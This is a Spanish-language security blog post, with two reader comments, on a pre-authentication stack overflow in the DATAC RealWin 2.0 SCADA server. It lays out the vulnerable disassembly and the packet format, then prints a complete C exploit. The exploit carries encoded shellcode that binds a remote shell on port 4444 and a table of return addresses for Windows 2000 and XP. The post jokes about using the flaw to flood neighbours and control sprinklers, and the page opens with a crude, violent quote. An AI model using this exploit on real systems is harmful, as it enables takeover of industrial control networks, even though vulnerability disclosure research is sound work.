Random IRC quote :      <gabriel> y yo voy a preparar una barra de hierro para introducirla por ciertos anos cuando tenga ocasin

Ska! Ska!…Da

Hola que tal.
Bueno como está de moda esto del SCADA, no tengo ni guarra del tema aprovecho para decirlo ( el post no trata sobre estos sistemas), pues digo voy a ver que hay por ahí de software que se pueda bajar. La mayoría de lo que he visto, al ser aplicaciones críticas, pues no están disponibles.
RealWin or Die
Pero bueno me encontré con una demo que aunque es antigua pues por echarla un ojo tampoco se perdía nada. El software en cuestion es RealWin, de la empresa DATAC que anteriormente era RealFlex parece ser. Como vemos en el dibujo, el Server de RealWin es el punto de conexión de la red externa y la SCADA, por lo que comprometiendo el server lograríamos acceso a la red SCADA (me parece a mi vamos) y entonces ya podríamos vaciarle la piscina al vecino y obligar a que los aspersores rieguen con vodka-limón.

Vamos a romperlo, que es lo que nos gusta.

Este software es de la gama media/baja, es decir que no se utiliza en grandes instalaciones sino en pequeñas y medianas de hasta 1000 tags, según la documentación. Asi que tampoco es tan grave la cosa.

Lo interesante del tema es que el fallo se produce al procesar mal una petición de su propio protocolo interno. Los clientes «FlexWin» que se conectan al servidor usan este protocolo, y estos clientes también se usan en el producto estrella de la compañía, que es RealFlex, el cual opera sobre QNX y ya se usa para grandes instalaciones. Entonces es posible que el fallo también pudiera darse en ese software, pero a saber…

El fallo es lo de siempre, un stack overflow al usar una longitud que nosotros controlamos para copiar datos a la pila.

Un paquete standar de un cliente FlexWin vendría a ser de la siguiente manera

—-MAGIC_HEADER —- 4 bytes ||
—-PAYLOAD_LENGTH– 4 bytes || (aunque al final PAYLOAD_LENGTH&0xFFFF)
—-CHISPUN———– 2 bytes || Parece inutil
—-FUNC/SUBFUNC—– 4 bytes || Hay varias funciones/subfunciones definidas
—-DATA—————n bytes || Aqui empieza la zona de parametros.

Los clientes FlexWin se pueden conectar sin autentificación previa para determinados comandos a través del puerto 910/TCP.

El servidor es multithread y protegido contra excepciones( ojo, contra excepciones continuables, como saltes a una mala dirección DoS…),asi que nuestro exploit no interferirá en nada en el funcionamiento normal.

El fallo está en el módulo RealWinDemo.exe

.text:0042BFFE                 call    sub_419690 ; Packet->Length
.text:0042C003                 movzx   ecx, ax
.text:0042C006                 mov     edx, ecx
.text:0042C008                 shr     ecx, 2
.text:0042C00B                 mov     esi, ebx     ; our packet
.text:0042C00D                 lea     edi, [esp+638h+var_2E0] ; stack
.text:0042C014                 rep movsd            ; tracatrá – boom
.text:0042C016                 mov     ecx, edx
.text:0042C018                 and     ecx, 3
.text:0042C01B                 rep movsb
 

Si queréis ver donde empieza a procesar las funciones usad esta dirección #0x44fa26#.

Y aquí esta el exploit que bindea una shell al 4444. Está probado en XP SP2 y 2000 SP4. Pódeis añadir lost targets que queráis en la tabla TARGETS.
Os podéis descargar la demo que he usado desde aquí

Ala ya está. Era solo el gusanillo de romper un software SCADA…

Si alguien sabe de algún software del palo disponible (privada o públicamente) pues que de un toque…

////////////////////////////////////////////////////////////////////
////    DATAC RealWin 2.0 SCADA Software        – Remote PreAuth Exploit -.
////    ——————————————————–
////    This code can only be used for personal study
////    and/or research purposes on even days.
////
////    The author is not responsible for any illegal usage.
////    So if you flood your neighborhood that’s your fucking problem =)
////    —————
////    Note
////    —————
////    ## The exploit has been tested against a build that seems pretty old.
////    ## Therefore this flaw may be not reproducible on newer versions.
////   
////    http://www.dataconline.com
////    http://www.realflex.com/download/form.php
////   
////    Ruben Santamarta www.reversemode.com
////   

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"wsock32.lib")

#define REALWIN_PORT    910
#define PACKET_HEADER_MAGIC 0x67542310

#define EXPLOIT_LEN             0x810
#define PING_LEN                0x200

#define FUNC_INFOTAG_SET_CONTROL        0x5000A
#define FUNC_FUCK_CREATIONISM           0x70001

typedef struct {
        const char *szTarget;
        ULONG_PTR retAddr;
} TARGET;

TARGET targets[] = {
                { "Windows 2000 SP4 [ES]",      0x779D4F6A},    // call esp – oleaut32.dll
        { "Windows 2000 SP4 [EN]",      0x77E3C256 },   // jmp esp – user32.dll
        { "Windows XP SP2 [EN]",        0x7C914393 },   // call  esp – ntdll.dll
                { "Windows XP SP2 [ES]",        0x7711139B},    // call esp – oleaut32.dll
                { NULL,-1}
};

int main(int argc, char* argv[])
{
        WSADATA ws;
        SOCKET tcp_socket, tcp_ping;
        char bBuffer[0x10] = {0};
        struct sockaddr_in peer;
        char *pExploitPacket = NULL;
        char *pPingPacket = NULL;
        ULONG_PTR       uFixed;

        /* win32_bind –  EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
        unsigned char scode[] =
        "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
        "\xd8\xfb\x1b\x83\xeb\xfc\xe2\xf4\x59\xb2\x10\x56\x4d\x21\x04\xe4"
        "\x5a\xb8\x70\x77\x81\xfc\x70\x5e\x99\x53\x87\x1e\xdd\xd9\x14\x90"
        "\xea\xc0\x70\x44\x85\xd9\x10\x52\x2e\xec\x70\x1a\x4b\xe9\x3b\x82"
        "\x09\x5c\x3b\x6f\xa2\x19\x31\x16\xa4\x1a\x10\xef\x9e\x8c\xdf\x33"
        "\xd0\x3d\x70\x44\x81\xd9\x10\x7d\x2e\xd4\xb0\x90\xfa\xc4\xfa\xf0"
        "\xa6\xf4\x70\x92\xc9\xfc\xe7\x7a\x66\xe9\x20\x7f\x2e\x9b\xcb\x90"
        "\xe5\xd4\x70\x6b\xb9\x75\x70\x5b\xad\x86\x93\x95\xeb\xd6\x17\x4b"
        "\x5a\x0e\x9d\x48\xc3\xb0\xc8\x29\xcd\xaf\x88\x29\xfa\x8c\x04\xcb"
        "\xcd\x13\x16\xe7\x9e\x88\x04\xcd\xfa\x51\x1e\x7d\x24\x35\xf3\x19"
        "\xf0\xb2\xf9\xe4\x75\xb0\x22\x12\x50\x75\xac\xe4\x73\x8b\xa8\x48"
        "\xf6\x8b\xb8\x48\xe6\x8b\x04\xcb\xc3\xb0\xea\x47\xc3\x8b\x72\xfa"
        "\x30\xb0\x5f\x01\xd5\x1f\xac\xe4\x73\xb2\xeb\x4a\xf0\x27\x2b\x73"
        "\x01\x75\xd5\xf2\xf2\x27\x2d\x48\xf0\x27\x2b\x73\x40\x91\x7d\x52"
        "\xf2\x27\x2d\x4b\xf1\x8c\xae\xe4\x75\x4b\x93\xfc\xdc\x1e\x82\x4c"
        "\x5a\x0e\xae\xe4\x75\xbe\x91\x7f\xc3\xb0\x98\x76\x2c\x3d\x91\x4b"
        "\xfc\xf1\x37\x92\x42\xb2\xbf\x92\x47\xe9\x3b\xe8\x0f\x26\xb9\x36"
        "\x5b\x9a\xd7\x88\x28\xa2\xc3\xb0\x0e\x73\x93\x69\x5b\x6b\xed\xe4"
        "\xd0\x9c\x04\xcd\xfe\x8f\xa9\x4a\xf4\x89\x91\x1a\xf4\x89\xae\x4a"
        "\x5a\x08\x93\xb6\x7c\xdd\x35\x48\x5a\x0e\x91\xe4\x5a\xef\x04\xcb"
        "\x2e\x8f\x07\x98\x61\xbc\x04\xcd\xf7\x27\x2b\x73\x4a\x16\x1b\x7b"
        "\xf6\x27\x2d\xe4\x75\xd8\xfb\x1b";

        int i,c;
       
        system("cls");
        printf("\n\t\t– RealFlex RealWin 2.0 SCADA Software –\n");
        printf("\tProtocol Command INFOTAG/SET_CONTROL Stack Overflow\n");
        printf("\nRuben Santamarta – reversemode.com \n\n");

        if( argc < 3 )
        {
               
                printf("\nusage: exploit.exe ip TargetNumber");
                printf("\n\nexample: exploit 192.168.1.44 1\n\n");
                for( i = 0; targets[i].szTarget; i++ )
                {
                        printf("\n[ %d ] – %s", i, targets[i].szTarget);
                }
                printf("\n");
                exit(0);
        }

        WSAStartup(0x0202,&ws);

        peer.sin_family = AF_INET;
        peer.sin_port = htons( REALWIN_PORT );
        peer.sin_addr.s_addr = inet_addr( argv[1] );

        tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
       
        if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
        {
                printf("\n[!!] Host unreachable 🙁 \n\n");
                exit(0);
        }
       
        pExploitPacket = (char*) calloc( EXPLOIT_LEN, sizeof(char) );
        pPingPacket = (char*) calloc( PING_LEN, sizeof(char) );

        memset( (void*)pExploitPacket, 0x90, EXPLOIT_LEN);
        memset( (void*)pPingPacket, 0x90, PING_LEN);
       
        uFixed =  targets[atoi(argv[2])].retAddr;
       
        for( i=0x0; i< 0xbe; i++)
        {
                *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + i*sizeof(ULONG_PTR) +2 )  ) = uFixed;
        }

        // Bypass silly things.
        *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + 0xbe*sizeof(ULONG_PTR) +2 )  ) = 0x404040;

        // MAGIC_HEADER
        *( ( ULONG_PTR* ) pExploitPacket ) = PACKET_HEADER_MAGIC;
       
        //Payload Length
        *( ( ULONG_PTR* ) pExploitPacket + 1 ) = 0x800;                        
       
        //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 10 ) ) =  FUNC_INFOTAG_SET_CONTROL;
       
        //First Parameter
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 14 ) ) =  0x4; // Internal Switch
       
        //Mark
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 44 ) ) =  0xDEADBEEF; // Our marker

       
        memcpy( (void*)((char*)pExploitPacket + EXPLOIT_LEN – sizeof(scode))
                        ,scode
                        ,sizeof(scode)-1);
               
        send(tcp_socket, pExploitPacket, EXPLOIT_LEN, NULL );

        printf("[+] Exploit packet sent…now checking host availability\n");

        // MAGIC_HEADER
        *( ( ULONG_PTR* ) pPingPacket ) = PACKET_HEADER_MAGIC;
       
        //Payload Length
        *( ( ULONG_PTR* ) pPingPacket + 1 ) = 0x20;                            
       
        //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 10 ) ) =  FUNC_FUCK_CREATIONISM;
       
        //First Parameter
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 14 ) ) =  0x1;   // whatever
       
        //Mark
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 44 ) ) =  0xDEADBEEF; //Our marker

        tcp_ping = socket(AF_INET, SOCK_STREAM, 0);
       
        if ( connect(tcp_ping, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
        {
                printf("\n[!!] The Host is dead, long live the Host!  \n\n");
                exit(0);
        }
       
        i = recv(tcp_ping, bBuffer, 0x8, NULL );
       
        if( i )
        {
                printf("[+] The host is up and running\n\t:: %d bytes received: ",i);
                for(  c = 0; c<i; c++)
                        printf("%02X ", (unsigned char)bBuffer[c]);
       
                printf("\n");
        }else   {
                printf("\n[!!] The Host is dead, long live the Host!  \n\n");
        }

        closesocket(tcp_ping);
        closesocket(tcp_socket);

        Sleep(1000);
        printf("\n[+] Try: telnet %s 4444\n\n",argv[1]);       
        WSACleanup();

        return 0;
}
 

2 Comentarios para “Ska! Ska!…Da”

  1. Comment por Zohiartze Herce | 09/26/08 at 3:10 am

    Oi Oi Oi!

  2. Comment por Yosu | 09/26/08 at 6:29 am

    SCADAs tienes muchos y muy variados, de Siemens (WinCC), WonderWare (Intouch), Allen-Bradley (RSView+su driver de comunicacion RSLinx), Modicon-Telemecanique (usa normalmente FactoryLink) pero casi todos usan el protocolo OPC (http://es.wikipedia.org/wiki/OPC) para comunicarse con sus drivers y estos a su vez con los elementos de campo, PLCs o lo que halla.

Se han cerrado los comentarios